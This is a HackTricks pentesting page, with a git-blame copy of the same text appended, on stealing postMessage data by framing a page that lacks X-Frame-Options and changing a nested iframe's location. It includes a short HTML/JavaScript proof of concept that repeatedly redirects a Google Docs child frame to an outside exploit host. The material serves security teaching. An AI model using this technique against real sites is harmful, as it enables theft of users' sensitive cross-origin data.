hacktricks/pentesting-web/postmessage-vulnerabilities/steal-postmessage-modifying-iframe-location.md

# Steal postmessage modifying iframe location

{% hint style="success" %}
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</details>
{% endhint %}

## Changing child iframes locations

According to [**this writeup**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), if you can iframe a webpage without X-Frame-Header that contains another iframe, you can **change the location of that child iframe**.

For example, if abc.com have efg.com as iframe and abc.com didn't have X-Frame header, I could change the efg.com to evil.com cross origin using, **`frames.location`**.

This is specially useful in **postMessages** because if a page is sending sensitive data using a **wildcard** like `windowRef.postmessage("","*")` it's possible to **change the location of the related iframe (child or parent) to an attackers controlled location** and steal that data.

```html
<html>
    <iframe src="https://docs.google.com/document/ID" />
    <script>
       //pseudo code
        setTimeout(function(){ exp(); }, 6000);

        function exp(){
          //needs to modify this every 0.1s as it's not clear when the iframe of the iframe affected is created 
          setInterval(function(){ 
              window.frames[0].frame[0][2].location="https://geekycat.in/exploit.html";
          }, 100);
        }
    </script>
</html>
```

{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
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<details>

<summary>Support HackTricks</summary>

* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>
{% endhint %}
GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00			`# Steal postmessage modifying iframe location`

a 2024-07-18 23:15:55 +00:00			`{% hint style="success" %}`
			`Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[HackTricks Training AWS Red Team Expert (ARTE)](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\`
			`Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[HackTricks Training GCP Red Team Expert (GRTE)<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)`

GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00			`<details>`

a 2024-07-18 23:15:55 +00:00			`<summary>Support HackTricks</summary>`
GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00
a 2024-07-18 23:15:55 +00:00			`* Check the [subscription plans](https://github.com/sponsors/carlospolop)!`
			`* Join the 💬 [Discord group](https://discord.gg/hRep4RUj7f) or the [telegram group](https://t.me/peass) or follow us on Twitter 🐦 [@hacktricks\_live](https://twitter.com/hacktricks\_live).`
			`* Share hacking tricks by submitting PRs to the [HackTricks](https://github.com/carlospolop/hacktricks) and [HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud) github repos.`
GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00
			`</details>`
a 2024-07-18 23:15:55 +00:00			`{% endhint %}`
GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00
			`## Changing child iframes locations`

			`According to [this writeup](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), if you can iframe a webpage without X-Frame-Header that contains another iframe, you can change the location of that child iframe.`

			For example, if abc.com have efg.com as iframe and abc.com didn't have X-Frame header, I could change the efg.com to evil.com cross origin using, `frames.location`.

			This is specially useful in postMessages because if a page is sending sensitive data using a wildcard like `windowRef.postmessage("","")` it's possible to change the location of the related iframe (child or parent) to an attackers controlled location* and steal that data.

			```html
			`<html>`
			`<iframe src="https://docs.google.com/document/ID" />`
			`<script>`
			`//pseudo code`
			`setTimeout(function(){ exp(); }, 6000);`

			`function exp(){`
			`//needs to modify this every 0.1s as it's not clear when the iframe of the iframe affected is created`
			`setInterval(function(){`
			`window.frames[0].frame[0][2].location="https://geekycat.in/exploit.html";`
			`}, 100);`
			`}`
			`</script>`
			`</html>`
			```

a 2024-07-18 23:15:55 +00:00			`{% hint style="success" %}`
			`Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[HackTricks Training AWS Red Team Expert (ARTE)](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\`
			`Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[HackTricks Training GCP Red Team Expert (GRTE)<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)`

GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00			`<details>`

a 2024-07-18 23:15:55 +00:00			`<summary>Support HackTricks</summary>`
GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00
a 2024-07-18 23:15:55 +00:00			`* Check the [subscription plans](https://github.com/sponsors/carlospolop)!`
			`* Join the 💬 [Discord group](https://discord.gg/hRep4RUj7f) or the [telegram group](https://t.me/peass) or follow us on Twitter 🐦 [@hacktricks\_live](https://twitter.com/hacktricks\_live).`
			`* Share hacking tricks by submitting PRs to the [HackTricks](https://github.com/carlospolop/hacktricks) and [HackTricks Cloud](https://github.com/carlospolop/hacktricks-cloud) github repos.`
GitBook: [#3603] No subject 2022-10-13 00:56:34 +00:00
			`</details>`
a 2024-07-18 23:15:55 +00:00			`{% endhint %}`